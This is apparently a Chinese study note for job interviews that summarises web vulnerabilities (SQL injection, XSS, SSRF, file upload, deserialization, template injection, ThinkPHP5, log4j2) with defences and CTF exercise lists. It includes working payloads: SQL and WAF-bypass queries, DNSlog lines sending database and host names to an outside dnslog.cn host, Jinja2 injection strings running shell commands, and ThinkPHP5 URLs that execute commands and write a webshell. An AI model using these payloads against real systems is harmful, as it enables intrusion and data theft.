0%

web漏洞总结

web漏洞总结 for 秋招

SQL注入

原理:未对用户输入导致攻击者能够通过拼接SQL语句获取到敏感信息,或者执行带有攻击性的操作。

危害:数据泄露、数据篡改、getshell、提权

场景:与数据库有交互的场景都有可能,如登录、查询

防御:参数化查询、输入验证和过滤、数据库最小权限、不打印错误处理、

绕过:宽字节编码

注入类型

  • union联合注入:需要有结果回显,确定回显的位置

  • 报错注入:需要有报错提示

    • floor 主键重复
    • updatexml、extractvalue xpath报错
  • 布尔盲注:if,需要正常和异常返回的页面不一样

  • 时间盲注:sleep,返回内容一样,时间不一样

  • 二次注入:首先将恶意语句写入数据库,然后取出数据时触发SQL注入。sqlilabs less-24

  • dnslog:只适用于Windows,UNC路径,结合load_file函数使用,请求远程文件时会用到DNS解析

    1
    payload:and (select load_file(concat('//',(select database()),'.6.eudspa.dnslog.cn/a')))
  • 中转注入:sqlmap+脚本文件实现自定义的小工具,可解决加解密注入

  • 堆叠注入

  • cookie注入

  • 宽字节注入:MySQL使用GBK编码,认为两个字节就代表一个汉字,当第一个字节的ASCII码大于128(将数据库、Web程序、操作系统都设置为utf-8),适用于后端处理特殊符号时添加反斜杠转义的情况

注入步骤

  1. 判断是否有注入点:提交错误语句查看是否有异常
  2. 判断注入类型,根据是否有回显……
  3. sqlmap注入/利用information_schema逐渐查询(5.0以上才有
  4. getshell:sqlmap拿到os-shell/SQL Server有xp_cmdshell,可以直接执行系统命令/MySQL通过上传文件(需要绝对路径和写权限),反弹shell
  5. 提权
    1. UDF:用户自定义函数
    2. MOF:特定目录下的mof文件会以系统权限定时执行

常用函数/参数/文件

@@datadir:数据库路径,可用于猜测网站路径

secure_file_priv 参数

load_fileinto outfileinto dumpfile

my.ini

常用payload

1
2
3
4
select database();
select group_concat(schema_name) from information_schema.schemata;
select group_concat(table_name) from information_schema.tables where table_schema='...';
select group_concat(column_name) from information_schema.columns where table_name='...';

sqlite3

1
2
select group_concat(name) from sqlite_master;/*数据库名*/
select group_concat(sql) from sqlite_master;/*建表结构*/

graphql

内省机制查询所有

1
{"query":"\n    query IntrospectionQuery {\n      __schema {\n        \n        queryType { name }\n        mutationType { name }\n        subscriptionType { name }\n        types {\n          ...FullType\n        }\n        directives {\n          name\n          description\n          \n          locations\n          args {\n            ...InputValue\n          }\n        }\n      }\n    }\n\n    fragment FullType on __Type {\n      kind\n      name\n      description\n      \n      fields(includeDeprecated: true) {\n        name\n        description\n        args {\n          ...InputValue\n        }\n        type {\n          ...TypeRef\n        }\n        isDeprecated\n        deprecationReason\n      }\n      inputFields {\n        ...InputValue\n      }\n      interfaces {\n        ...TypeRef\n      }\n      enumValues(includeDeprecated: true) {\n        name\n        description\n        isDeprecated\n        deprecationReason\n      }\n      possibleTypes {\n        ...TypeRef\n      }\n    }\n\n    fragment InputValue on __InputValue {\n      name\n      description\n      type { ...TypeRef }\n      defaultValue\n      \n      \n    }\n\n    fragment TypeRef on __Type {\n      kind\n      name\n      ofType {\n        kind\n        name\n        ofType {\n          kind\n          name\n          ofType {\n            kind\n            name\n            ofType {\n              kind\n              name\n              ofType {\n                kind\n                name\n                ofType {\n                  kind\n                  name\n                  ofType {\n                    kind\n                    name\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  ","variables":{},"operationName":"IntrospectionQuery"}
1
2
{"query":"{\n __schema{\n types{\n name\n}\n}\n}\n"}
{"query":"{\n __type(name:\"User\"){\n name,\n fields{\n name,\ntype \n{\n name \n}\n}\n}\n}\n"}

绕过姿势

WAF绕过总结:更改提交方法GET/POST…、打乱匹配规则(大小写混合、解密编码、注释符混用、等价函数替换、特殊符号混用)、借助数据库特性改变语法、HTTP参数污染

WAF可能过滤information_schema,解决:

  1. innodb(5.6以上) ,查不到列名

    1
    2
    select group_concat(database_name) from mysql.innodb_table_stats;
    select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
  2. sys,也查不到列

无列名注入:

  1. join
  2. 子查询

过滤查询关键字select:

  1. 堆叠注入,show查询数据库+表+列
  2. handler查询
  3. 设置预编译语句,预编译语句中使用concat绕过过滤

过滤空格:

  1. %a0
  2. 注释符/**/

题型收集

  1. 攻防世界-ezsqli(无列名注入)
  2. 攻防世界-filemanager(二次注入)
  3. 攻防世界-supersqli(堆叠注入;select绕过)
  4. 攻防世界-Zhuanxv(hsql注入)
  5. 攻防世界-NewCenter
  6. 攻防世界-FlatScience(sqlite3注入)
  7. 攻防世界-Background_Management_System(二次注入
  8. bugku-滴!晨跑打卡(空格过滤

XSS

原理:未对用户输入进行正确过滤,导致攻击者能够注入恶意脚本代码且被执行

危害:窃取敏感信息、网络钓鱼、网页挂马、篡改页面、网络钓鱼、结合CSRF

场景:所有用户能够进行输入的地方,如富文本编辑器、

防御:HttpOnly、安全编码(输入输出)、CSP Header

绕过:模糊测试

XSS类型

  • 反射型:会经过服务器(构造恶意链接,payload藏于get参数中,诱导受害者点击
  • 存储型:会长久地存储在服务器中(留言板
  • DOM型:只在浏览器端执行(该网站允许用户自定义js

CSRF

原理:未对发起操作的用户的身份进行正确校验,导致用户在不知情的情况下执行恶意操作

危害:盗用身份、伪造交易

场景:发布留言、支付

防御:验证referer(白名单)、验证token、同源策略、不用GET请求、添加确认

绕过:DNS重绑定可以绕过同源策略

SSFR

原理:服务器端提供发起请求的功能,攻击者拼接恶意指令

危害:命令执行、文件读取、本地和内网端口和服务扫描

场景:下载远程资源、

防御:过滤对内网地址的访问

绕过:DNS重绑定

相关函数

file_get_contents

sockopen

curl_exec

常用伪协议

file:///

dict://

php://

gopher://

绕过姿势

URL绕过:

IP绕过:

  • 进制转换:0177.0.0.10x7f.0.0.12130706433

  • 意义等同

    1
    2
    3
    4
    http://localhost/
    http://0/
    http://127.0.1/
    短链接
  • 重定向:服务器直接访问的网址是正常的,但是该网页有重定向到127.0.0.1的操作

  • DNS重绑定:服务器校验域名解析IP时,DNS解析到一个合法IP,但是有效期短,因此正式访问时会重新解析,此时会解析到127.0.0.1

题型收集

  1. 攻防世界-Cat
  2. 攻防世界-ics-02

文件上传

原理:对上传的文件没有进行正确的过滤,导致用户可以上传恶意文件

危害:后门文件、病毒程序

场景:能上传文件的地方(上传附件、上传头像

防御:上传目录无执行权限、白名单文件后缀、不暴露上传目录路径、改写文件名

绕过:双写、大小写、结合解析漏洞

绕过姿势

phtml:script标签绕过<?

解析漏洞

  1. IIS 6.0

    1. 目录解析 /xxx.asp/sss.jpg:sss.jpg在xxx.asp目录下会被当做asp解析
    2. 文件解析 /xxx.asp;.jpg:分号后面的不被解析
    3. 除了asp外IIS 6.0默认的可执行文件:asa, cer, cdx
  2. IIS 7.0/IIS 7.5/Ngnix<8.03 畸形解析漏洞(Fast-CGI开启时

    1. 上传xxx.jpg,其中包含php代码
    2. 访问xxx.jpg/1.php即可把jpg当作php执行
  3. Ngnix<8.03 空字节代码执行漏洞

    1. 上传xxx.jpg,其中包含php代码
    2. 访问xxx.jpg%00.php即可把jpg当作php执行
  4. Apache解析漏洞:Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。eg.test.php.x1.x2.x3

文件包含

原理:服务器端引入的文件是攻击者能够控制的恶意文件

利用条件:allow_url_fopenallow_url_include开启

危害:与文件上传可结合

相关函数

PHP:include、require、fopen、readfile

读取协议

file协议:读取绝对路径的文件

php伪协议:

  • php://input:执行php代码,适用于post和file_get_contents
  • php://filter:读取源码,常用base64编码源码,?filename=php://filter/read=convert.base64-encode/resource=./1.php,resource可以说绝对路径也可以是相对

data协议:data://text/plain;base64,…..==

题型收集

  1. 攻防世界-Web_php_include
  2. 攻防世界-warmup
  3. 攻防世界-wzsc_文件上传(条件竞争)
  4. 攻防世界_file_include

反序列化

原理:服务器能够接收攻击者反序列化过的字符串,导致攻击者能够控制程序中的变量或者操作

  • 魔术方法:类中使用某些函数会触发魔术方法,如果存在一些敏感功能如文件读取,加上攻击者可以控制变量,可能造成任意文件读取漏洞

场景:篡改受害人的一些数据(这些数据会经过序列化和反序列化的操作

相关函数

PHP:serialize, unserialize,魔术方法(__construct, __sleep, __wakeup

Java:writeObject,readObject(JSON反序列化、JDBC反序列化

shiro反序列化

Apache Shiro对cookie的处理涉及反序列化(特征:cookie名为rememberMe)

处理过程:命令→序列化→aes加密→base64编码→rememberme

利用条件:获取aes-key,构造恶意命令按照以上处理过程完成后上传到服务器端,服务器反序列化后执行恶意命令

相关知识点:Java,aes,cookie、反序列化

session反序列化

php session储存在文件中

字符逃逸

PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客

unserialize(filter(serialize($a))),序列化与反序列化中的filter函数,替换的字符串长度前后不一致会造成反序列识别出现bug

  1. 过滤后字符串变长:指定长度的字符识别完后,剩余的字符被当作变量
  2. 过滤后字符串变短:导致后面的变量被当作字符串,构造后面的变量为危险变量完成替换

题型收集

  1. 攻防世界-unserialize3
  2. 攻防世界-Web_php_unserialize
  3. bugku-逃逸-nuaactf

RCE

php相关函数

system

shell_exec

exec

eval

绕过姿势

空格绕过

1
2
3
$IFS$9
${IFS}
>

关键词绕过

1
2
fl\ag
y=ag;x=fl;$x$y #变量替换

模板注入

原理:攻击者能够控制要通过模板引擎渲染的数据,可以让服务器执行一些命令

危害:泄露敏感信息

测试:数学表达式49

常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 常用方法
__class__ #返回调用的参数类型。
__base__ #返回基类
__mro__ #允许我们在当前Python环境下追溯继承树
__subclasses__() #返回子类
__init__ #返回类的初始化方法
__globals__ #对包含函数全局变量的字典的引用 python3
__dict__ #返回类中的函数和属性,父类子类互不影响
# 常用函数
file
popen
#{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
os.popen
#{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
#{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
os.system # ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
exec
eval
#{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
# 绕过关键词过滤
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[]}} # 字符串拼接

可通过脚本遍历获取想要的类的位置,python or 模板脚本 or burp爆破

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}
{% endif %}
{% endfor %}

常见框架

不同的框架会对应不同的敏感信息,获取的语法可能也会有不同,需要参考官方文档或者已有的相关wp

  1. Tornado
  2. Flask/Jinjia2

题型收集

  1. 攻防世界-easytornado(from 护网杯)
  2. 攻防世界-easy_web

DNSlog

原理:攻击者注入恶意DNS请求,再输入字段中插入payload,服务器发起DNS请求时攻击者可以通过监视DNS服务器的响应来收集信息。

危害:信息泄露、与其他漏洞结合使用完成无回显渗透

  • 无回显的SQL注入:load_file结合UNC路径(仅适用于Windows),加载远程文件时发起DNS查询

    1
    payload:and (select load_file(concat('//',(select database()),'.6.eudspa.dnslog.cn/a')))
  • 无回显的命令执行(注意操作系统不同,需要不同的变量表示以及字符串连接)

    1
    2
    ping %os%.6.eudspa.dnslog.cn
    ping `hostname`.6.eudspa.dnslog.cn
  • 无回显的SSRF

Javascript原型链污染

JavaScript Prototype污染攻击(CTF 例题分析)-CSDN博客

JSON.parse不能直接导致原型链污染,需要深拷贝。(递归赋值

Redis未授权

thinkphp5

thinkphp 5-rce版本漏洞复现(超详细版)_thinkphp5漏洞扫描_徐长卿学网安的博客-CSDN博客

与框架路由有关?

1
2
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami //远程命令执行
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?> //写入webshell

MD5加密漏洞

0e绕过

1
2
3
md5('QNKCDZO') == md5(240610708) //弱类型比较
0e830400451993494058024219903391 == 0e462097431906509019562988736854 //0e开头的字符串在参与比较时,会被当做科学计数法,结果转换为0
0 == 0 //返回true

数组绕过

md5不能加密数组,传入数组会报错,但会继续执行并且返回结果为null。

1
2
md5(a[]=1) === md5(b[]=1)	//强类型比较
null === null

MD5碰撞

CRLF

http header注入

其他

HTTPS中间人攻击

ARP中间人+中间人伪造证书

HTST

New

log4j2

日志模块,格式化输出时会产生命令执行

相关知识点:java, jndi:rmi